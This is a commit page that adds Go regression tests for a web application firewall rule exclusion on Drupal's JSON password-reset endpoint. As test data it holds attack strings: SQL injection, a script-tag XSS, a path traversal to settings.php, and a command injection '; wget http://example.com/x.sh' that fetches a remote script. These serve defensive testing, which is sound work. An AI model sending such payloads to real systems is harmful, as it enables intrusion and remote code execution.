Core Rule Set: Drupal's JSON password reset passes (closes #259)
check / check (push) Failing after 4m8s
check / check (push) Failing after 4m8s
POST /user/password?_format=json with a name of python3, powershell, ls -la or .htaccess was refused while bodies are read. On that path, the JSON field name now skips 930120, 932120, 932250 and 932260, the four rules those recorded names set off, unless the query has a json.name parameter. Recorded from Drupal 11.4.11. Model: opus-5-5
This commit is contained in:
1 parent
c86df7610d
commit
fa87dbed2a
4 files changed
+63
No files matched your search
@@ -19,6 +19,9 @@ const drupalSignIn = "/user/login"
|
||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||
const drupalJSONSignIn = "/user/login?_format=json"
|
||||
|
||||
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
||||
const drupalJSONPasswordReset = "/user/password?_format=json"
|
||||
|
||||
// drupalTagForm is Drupal's form for a new tag.
|
||||
const drupalTagForm = "/admin/structure/taxonomy/manage/tags/add"
|
||||
|
||||
@@ -188,6 +191,27 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, attack := range []string{
|
||||
`1' OR '1'='1`,
|
||||
`<script>alert(1)</script>`,
|
||||
`; wget http://example.com/x.sh`,
|
||||
`../../sites/default/settings.php`,
|
||||
} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body := `{"name":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// drupalCommandAttack is a shell command that only 932230 and 932235 refuse
|
||||
// on the fields that skip the other command rules, as a query value.
|
||||
const drupalCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
@@ -349,6 +373,14 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
body = `{"name":"` + word + `"}`
|
||||
|
||||
got, _ = inspectBody(t, crs, r, body)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -415,4 +447,18 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
// The JSON field name keeps the rules beside json.name in the query, and
|
||||
// on a path other than the password reset.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.name=python3",
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, `{"name":"python3"}`)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user